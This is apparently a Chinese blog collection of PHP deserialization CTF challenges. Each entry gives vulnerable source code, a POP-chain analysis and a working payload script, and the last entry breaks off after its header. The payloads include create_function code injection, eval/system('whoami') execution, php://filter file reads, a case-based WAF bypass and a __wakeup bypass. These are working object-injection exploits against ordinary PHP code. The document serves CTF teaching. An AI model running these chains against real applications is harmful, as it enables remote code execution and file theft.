php反序列化练习题

php反序列化题目收集

1.题目1

需要php7.0以上环境
利用到的知识点:数组当作方法调用的特性create_function函数 解题:

① $f = create_function(‘$a,$b’, ‘echo($a+$b);’);
$f(1,2); //3

②数组当作函数调用,就会调用 a 类中的 test() 方法

$arr=[$a,”test”]; //对象和函数都在一个数组中
$arr();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func{
public $mod1;
public $mod2;
public $key;
public function __destruct(){
unserialize($this->key)();
$this->mod2 = "welcome ". $this->mod1;
}
}
class GetFlag{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET[0]);
?>

解题:test1.php

​ 题目有两个类,其中func类有3个属性、一个__destruct()方法,GetFlag有两个属性,一个方法get_flag()。

程序的起点为 unserialize($_GET[0]),终点为:get_flag()$a(‘’, $this->code);

get_flag() 中属性 action 也就是 a 被当作函数方法执行,可以把 action 赋值为:create_function,来达到执行系统命令的目的,这样方法的调用执行就转换为执行create_function{}的操作。

仔细分析 unserialize($this->key)(); , 发现这是一个方法的调用,方法名为:unserialize($this->key) ,可以利用数组的特性来调用其他类的方法,进而调用其他类的方法,我们这里想要调用到 GetFlag 类的 get_flag() 方法,那么我就让设置:unserialize($this->key)=[$g,”get_flag()”] 。其中 $gGetFlag 类的实例化对象。

unserialize($this->key)=[$g,”get_flag()”];

将这个等式转换一下:$this->key=serialize([$g,”get_flag()”]);

也就是:$f->key=serialize([$g,”get_flag()”]);

$f是 func 类的实例化对象

​ 再来分析 get_flag() 方法,$a(‘’, $this->code); ,**$a** 也就是 action 属性 被当作方法调用,这里就把action 设置成 create_function ,把里面的参数 code 构造成方法体,用来执行恶意代码。

1
2
3
4
5
6
7
8
9
10
<?php
//第一个参数要使用单引号,双引号会解析不能使用;第二个参数结尾记得加分号
$f = create_function('$a,$b', 'echo($a+$b);');
$f(1,2); //输出3

对比题目中:
$a('', $this->code);
$a就是方法:create_function(){}
code 就是 'echo($a+$b);'
我们将 $code = '};system("whoami");//';

使用 } 闭合掉 create_function 方法的第一个 { ,后面加上要执行的代码,**//** 注释掉 create_function 的第二个 }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Payload:
<?php
class func{
public $mod1;
public $mod2;
public $key;
}
class GetFlag{
public $code = "};system('type flag.php');//";
public $action="create_function";
}
$f=new func();
$g=new GetFlag();
$f->key=serialize([$g,"get_flag"]);
echo urlencode(serialize($f));
?>

序列化后结果:

O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A130%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A28%3A%22%7D%3Bsystem%28%27type+flag.php%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D

image

修改题目: 使用另一个类执行 create_function 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct(){
//这里 unserialize($this->key) 方法必须有参数,否则无法实现
unserialize($this->key)('', $this->mod1);
$this->mod2 = "welcome ". $this->mod1;
}
}
class GetFlag{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a();
// $a('', $this->code); //也可使用这个
}
}
unserialize($_GET[0]);
?>

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class func{
public $mod1="};system('whoami');//";
public $mod2;
public $key;
}
class GetFlag{
public $code;
public $action;
}
$f=new func();
$g=new GetFlag();
$g->action=[$f,'__destruct']; //反过来使用 action 调用 fun 类的__destruct()方法
$f->key=serialize("create_function");
echo urlencode(serialize($g));
?>

我们发现要调用的函数例如 $a() ,内必须要有参数,作为 create_function 的参数否则无法成功调用 !!

2.题目2

POP:test2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
highlight_file(__FILE__);
class Vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}

class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . 'You are in my range!'. "<br>";
}
public function __toString(){
$this->gun['gun']->fearless;
return 'Saw';
}
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
public function __wakeup(){
if(preg_match("/sopher|http|file|ftp|https|dict|php|\.|\//", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index3.php";
}
}
}

class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}
public function __get($sun){
$Nourishment = $this->seed;
return $Nourishment();
}
}

if(isset($_GET['ozo'])){
unserialize($_GET['ozo']);
}
else{
$Saw = new Saw('index3.php');
$Saw->_pain();
}
?> index3.phpYou are in my range!

分析题目,按步骤做题:

​ 找到反序列化入口点:unserialize($_GET[‘ozo’]);再找终点,即能够执行任意系统命令的地方,发现 Vox 类的 fun 方法有 include ,可以传入我们要执行的命令。

​ 找到了 __invoke() 中调用了 fun() ,参数为 headset ,那么就可以令:**$headset = “php://filter/convert.base64-encode/resource/flag.php”;接着找能都调用 __invoke() 的地方,__invoke()** 是把对象当做函数调用时触发,找函数调用的地方。发现 Petalget() 方法中 return $Nourishment()seed 被当做函数调用;接下来找能调用 __get() 的地方,即调用不可访问、不存在的对象成员属性时触发,找到 Saw 的 __toString() 下的 $this->gun[‘gun’]->fearless; gun被当成一个数组,这里我们让 $s->gun=array(“gun”=>$p) ,那么 Petal 的对象 $p 调用 fearless,fearless在 Petal 类中不存在,即可触发了 get() ,接着找能触发 toString() 的地方,对象被当作字符串处理时会调用他,找到 Saw 类的 wakeup() 方法,$this->fearless 被当作字符串处理;然后找能触发 wakeup() 的地方,即执行unserialize()时会调用他,

1
2
3
4
5
6
unserialize($_GET['ozo']),ozo=$s2
Saw::__wakeup(),$s2->fearless=$s
Saw::__toString(),$s->gun=array("gun"=>$p)
Petal::__get(),$p->seed=$v;
Vox::__invoke()
Vox::fun
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Payload
<?php
class Vox{
public $headset = "php://filter/convert.base64-encode/resource=flag.php"; //这里是=flag.php
public $sound;
}
class Saw{
public $fearless;
public $gun;
}
class Petal{
public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;
$s=new Saw();
//$this->gun['gun']->fearless; 理解为$s->gun赋值为一个数组array,键为"gun",值为$p
$s->gun=array("gun"=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize($s2));
?>

传入参数,base64解码得到flag

image

3.题目3

POP:pop1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Welcome to index.php Welcome to index.php
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

分析

同题目2类似

起点:unserialize($_GET[‘pop’])

终点:Modifier 类的 __invoke() 方法,include

注意:要调用 Test 类的 __get() 方法,将 Test 类对象赋值给 Show 类的 str 属性,即:

$s->str=$t; ,这样 Test 类中找不到 source 属性,触发 __get() 方法。

使用到的魔术方法:

1
2
3
4
__invoke()          //把对象当做函数调用时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //把对象当成字符串调用时触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Modifier {
public $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$t = new Test();
$t->p=$m;
$s = new Show();
$s->str=$t;
$s2 = new Show();
$s2->source=$s;
echo urlencode(serialize($s2));
?>

/*
pop链条构造:
unserialize($_GET['pop']),pop=$s2
Show2::__wakeup(),$s2->source=$s;
Show::__toString(),$s->str=$t;
Test::__get,$t->p=$m;
Modifier::__invoke,var
Modifier::append
*/

4.题目4

POP :pop2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value){ //Read类里的危险函数,能读取$value的内容并返回
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){ // Read类里对象被当成函数处理时⾃动调⽤,此魔法函数调用危险函数
$content = $this->file_get($this->var);
echo $content;
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ // 构造Show类实例时调用
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString(){ // show类的对象被当作字符串处理时调⽤
return $this->str['str']->source;
}
public function _show(){
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){ //show类的对象反序列化时⾃动调⽤
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){ // 构造Test类实例时调用
$this->p = array();
}
public function __get($key){ //获取Test类不存在或者不可访问的变量时⾃动调⽤
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$show = new Show('pop2.php');
$show->_show();
}

起点:unserialize($_GET[‘hello’]);

终点:Read 类的 file_get 方法,file_get_contents

使用到的魔术方法:

1
2
3
4
__invoke()          //把对象当做函数调用时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //把对象当成字符串调用时触发

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Read {
public $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$r=new Read();
$t=new Test();
$t->p=$r;
$s=new Show();
$s->str['str']=$t;
$s2=new Show();
$s2->source=$s;
echo serialize($s2);
echo urlencode(serialize($s2));
?>

/**
pop构造:
unserialize($_GET['hello']),hello=$s2
Show2::__wakeup(),$s2->source=$s;
Show::__toString(),$s->str['str'=>source]=$t;
Test::__get(),$t->p=$r;
Read::__invoke(),file_get(),var
*/

得到的结果传入后得到base编码结果,进行两次解码即可得到源代码

pop2.php?hello=O:4:”Show”:2:{s:6:”source”;O:4:”Show”:2:{s:6:”source”;N;s:3:”str”;a:1:{s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:4:”Read”:1:{s:3:”var”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}}}}s:3:”str”;N;}

5.题目5

pop : s1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
show_source("1.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

起点:unserialize($w00m)

终点:w44m 类的 Getflag() 方法,include

很明显 Getflag() 有 include 函数,可以作为pop链终点。

要执行 Getflag() 方法,需要满足条件:admin=’w44m’,并且 passwd=’08067’, 还要找到调用 Getflag() 的地方,该方法不能自动触发,因此需要考虑如何触发该方法;

发现 __toString() 方法下的代码可以实现 Getflag 方法调用,只需令 w33m 类的属性 w 00m 为 w44m 对象,属性 w00m为w44m对象,属性 w22m 的值为 Getflag;要触发 toString 方法,找把对象当成字符串使用的地方,只有 w22m 类的 echo $this->w00m;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
payload:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}

class w33m{
public $w00m;
public $w22m="Getflag";
}
$w2=new w22m();
$w3=new w33m();
$w4=new w44m();
$w3->w00m=$w4;
$w2->w00m=$w3;
echo urlencode(serialize($w2));
?>
/**
pop链为:w22m->w33m->w44m
unserialize($w00m),w00m=w22m
w22m::__destruct,w22m->w00m=w33m
w33m::__toString,w33m->w22m=Getflag()
w44m->Getflag();
*/

6.题目6

pop: s2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class entrance{
public $start;
function __construct($start){
$this->start = $start;
}
function __destruct(){
$this->start->helloworld();
}
}
class springboard{
public $middle;
function __call($name, $arguments){
echo $this->middle->hs;
}
}
class evil{
public $end;
function __construct($end){
$this->end = $end;
}
function __get($Attribute){
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
?>
  • 起点:unserialize($_GET[‘serialize’])

  • 终点:evil 类的 __get 方法,eval 函数

1
eval()  将字符串当作代码执行

很明显 eval() 方法可以作为pop链终点。

要调用 eval() 方法,找到了 __call 方法的 echo $this->middle->hs;

要调用 __call() ,找到了 entrance 类下的 $this->start->helloworld();

1
2
3
__get()     //调用不可访问、不存在的对象成员属性时触发
__call() //调用对象不可访问、不存在的方法时触发
__destruct() //类的析构函数,对象被销毁时触发

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class entrance{
public $start;
}
class springboard{
public $middle;
}
class evil{
public $end='system("whoami");';
}
$e=new evil();
$s=new springboard();
$s->middle=$e;
$e2=new entrance();
$e2->start=$s;
echo urlencode(serialize($e2));
?>

/**
unserialize($_GET['serialize']),serialize=$e
entrance::__destruct(),$e2->start=$s;
springboard::__call(),$s->middle=$e;
evil::__get(),eval
*/

7.题目7(1)

pop : s3.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup(){
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString(){
echo $this->fun;
return " ";
}
public function __invoke(){
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup(){
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value){
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
// func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
// }

// function hint(){
// echo ".......";
// die();
// }
?>
1
2
3
4
5
6
7
8
9
10
11
12
waf.php
<?php
function checkcheck($data){
if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/",$data,$match)){
die('something wrong');
}
}
function hint(){
echo "flag is in /";
die();
}
?>
  • 起点:unserialize($_GET[‘ser’])

  • 终点:NISA 类的 __invoke 方法,eval 函数

eval() 方法可以作为pop链终点。

要调用 eval() 方法,找到了 __invoke 方法的 @eval($this->txw4ever); 发现 invoke ,直接找对象当成函数调用的地方,找到了Ilovetxw类的return $bb(); 再接着找调用toString的地方。

由于存在 waf 过滤,这里使用大小写绕过,whoami 替换为 tac fl*

Payload1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class NISA{
public $fun="show_m"; //任意修改,为了绕过hint();
public $txw4ever="SysTem('whoami');"; //txw4ever会存在绕过
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$n=new NISA();
$i=new Ilovetxw();
$i->su=$n;
$f=new four();
$f->a=$i;
$i2=new Ilovetxw();
$i2->huang=$f;
$t=new TianXiWei();
$t->ext=$i2;
echo serialize($t);
echo urlencode(serialize($t));
?>

/**
unserialize($_GET['ser']),ser=$t
TianXiWei::__wakeup(),$t->ext=$i2;
Ilovetxw::__call(),$i2->huang=$f;
four::__set(),$f->a=$i;
Ilovetxw::toString(),$i->su=$n;
NISA::__invoke(),eval
*/

image

Payload2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class NISA{
public $fun="666";
public $txw4ever="SYstem('whoami');";
}
class Ilovetxw{
public $su;
}
$n=new NISA();
$i=new Ilovetxw();
$i->su=$n;
$n1=new NISA();
$n1->fun=$i;
echo urlencode(serialize($n1));
?>

8.题目8

pop : s4.php [NISACTF 2022]popchains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Happy New Year~ MAKE A WISH Happy New Year~ MAKE A WISH
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

常规题,直接构造pop链

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
public $effort;
}
$t=new Try_Work_Hard();
$m=new Make_a_Change();
$m->effort=$t;
$r=new Road_is_Long();
$r->string=$m;
$r2=new Road_is_Long();
$r2->page=$r;
echo serialize($r2);
echo urlencode(serialize($r2));
?>

/**
unserialize($_GET['wish']),wish=$r2
Road_is_Long::__wakeup(),$r2->page=$r;
Road_is_Long::__toString(),$r->string=$m;
Make_a_Change::__get(),$m->effort=$t;
Try_Work_Hard::__invoke()
Try_Work_Hard::append,include
*/

9.题目9(1)

pop : s5.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php  
include 'flag.php';
class pkshow {
function echo_name(){
return "Pk very safe^.^";
}
}

class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name(){
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks'])) {
$logData = unserialize($_GET['pks']);
echo $logData;
}
else {
highlight_file(__file__);
}
?>
1
2
3
file_get_contents() 函数 : 是一个php函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 但遇到读大文件操作时,不建议使用。可以考虑curl等方式代替。
__toString() //把对象当成字符串调用时触发
__construct() //类的构造函数,创建对象时触发,使用 new关键字创建一个类的新实例时,PHP会自动调用该类中的 __construct() 方法。

关键:if($this->openstack->neutron === $this->openstack->nova)

解法一:由于$heat变量没有被赋值,所以他是空的,也就是null,绕过方式是使用NULL===NULL,即$nova=NULL

解法二:$acp->neutron=&$acp->nova; 绕过

可以发现 echo_name() 中的 heat 属性不存在,可以把他认为时 null

那么 $this->openstack->neutron = NULL;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Payload1:
<?php
class acp {
protected $cinder;
public $neutron;
public $nova=NULL;
function __construct(){
$this->cinder = new ace(); //ace对象的实例化在这里进行,因为cinder属性是protected
}
}

class ace{
public $filename='../flag.php';
public $openstack;
public $docker;
}
$acp=new acp();
echo urlencode(serialize($acp));
?>

/**
unserialize($_GET['pks']),pks=$p
acp::__toString,$p->cinder=$e
ace::echo_name,file_get_content()
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Payload2:
<?php
class acp {
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder = new ace(); //ace对象的实例化在这里进行,因为cinder属性是protected
}
}

class ace{
public $filename='../flag.php';
public $openstack;
public $docker;
}
$acp=new acp();
$acp->neutron=&$acp->nova; //使 neutron 与 nova 永恒相等,绕过if条件
echo urlencode(serialize($acp));
?>

10.题目10

pop : s6.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

class A{
public $var_1;

public function __invoke(){
include($this->var_1);
}
}

class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}

}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}

class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class A{
public $var_1="php://filter/convert.base64-encode/resource=flag.php";
}
class B{
public $q;
}
class C{
public $var;
}
class D{
public $p;
}
$a=new A;
$d=New D;
$d->p=$a;
$c=new C;
$c->z=$d;
$b=new B;
$b->q=$c;
echo urlencode(serialize($b));
?>

11.题目11

pop : s7.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);

class Begin{
public $name;
public function __destruct(){
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;
public function __toString(){
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars){
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke(){
$this->obj->getStr();
}

public function end(){
die("==GAME OVER==");
}
}

class CTF{
public $handle;
public function end(){
unset($this->handle->log);
}
}

class WhiteGod{
public $func;
public $var;
public function __unset($var){
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);

找到题目终点 WhiteGod 类中的 ($this->func)($this->var); ,可当做执行任意代码的地方,可以让 func 为 system ,让 var 为 whoami,

构造pop链,发现 CTF 类调用了 unset,Handle 类调用了 end ,

Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

由于链子调用中成员属性有 private 和 protected,为了保险起见我们用 construct ()方法去调用链子,最后再使用url编码绕过;也可把 private 和 protected都改为 public,使用常规方法

1
2
3
4
5
__unset()           //在不可访问的属性上使用unset()时触发
__call() //调用对象不可访问、不存在的方法时触发
__invoke() //把对象当做函数调用时触发
__toString() //把对象当成字符串调用时触发
__destruct() //类的析构函数,反序列化后对象被销毁时触发,

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Begin{
public $name;
public function __construct(){
$this->name = new Then;
}
}
class Then{
private $func;
public function __construct(){
$this->func= new Super;
}
}
class Handle{
protected $obj;
public function __construct(){
$this->obj = new CTF;
}
}
class Super{
protected $obj;
public function __construct(){
$this->obj = new Handle;
}
}
class CTF{
public $handle;
public function __construct(){
$this->handle = new WhiteGod;
}
}
class WhiteGod{
public $func = 'system';
public $var = 'whoami';
}
$begin = new Begin();
echo serialize($begin)."\n";
echo urlencode(serialize($begin));
?>

12.题目12

[SWPUCTF 2022 新生赛]ez_ez_unserialize

__wakeup()绕过,php5.6以上不支持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
s8.php
<?php
class X{
public $x = __FILE__;
function __construct($x){
$this->x = $x;
}
function __wakeup(){
if ($this->x!== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct(){
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
?>

__construct():在类被实例化调用

__wakeup():在类被反序列化之前调用

__destruct():在对象销毁执行,highlight_file)()函数,提示flag在fllllllag.php里面,这里可以作为读取flag的入口

这里调用顺序是: construct()–>wakeup()–>反序列化操作–>destruct()

首先需要给 x 变量修改值为 fllllllag.php,然后construct方法执行后会实例化对象,但是后面又执行了wakeup,x 又被重新改为:____FILE____,那么执行到destruct的时候就不会出现fllllllag.php的内容,所以需要绕过 wakeup 函数

绕过:序列化后更改序列对象的数量进行绕过

payload:

无法正常执行,需要转换php版本为 5.6.9

1
2
3
4
5
6
7
8
<?php
class X{
public $x = "fllllllag.php";
}
$a = new X();
echo serialize($a);
echo urlencode(serialize($a));
?>
1
2
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
O:1:"X":5:{s:1:"x";s:13:"fllllllag.php";}

image

13.题目13

https://ctf.show/challenges#

WEB入门-反序列化

web254.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/*
*-- coding: utf-8 --*
# @Author: hlxa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: hlxa
# @Last Modified time: 2020-12-02 19:29:02
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip())
$user->vipOneKeyGetFlag();
}else{
echo "no vip,no flag";
}
}

分析:

程序的 vipOneKeyGetFlag() 会返回 flag

只有一个类,get传入两个参数后会实例化类对象,此题没有用到反序列化漏洞,根据题目提示传入相应参数即可

1
?username=xxxxx&password=xxxxx

14.题目14

web255.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/*
*-- coding: utf-8 --*
# @Author: hlxa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: hlxa
# @Last Modified time: 2020-12-02 19:29:02
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
highlight_file(__FILE__);
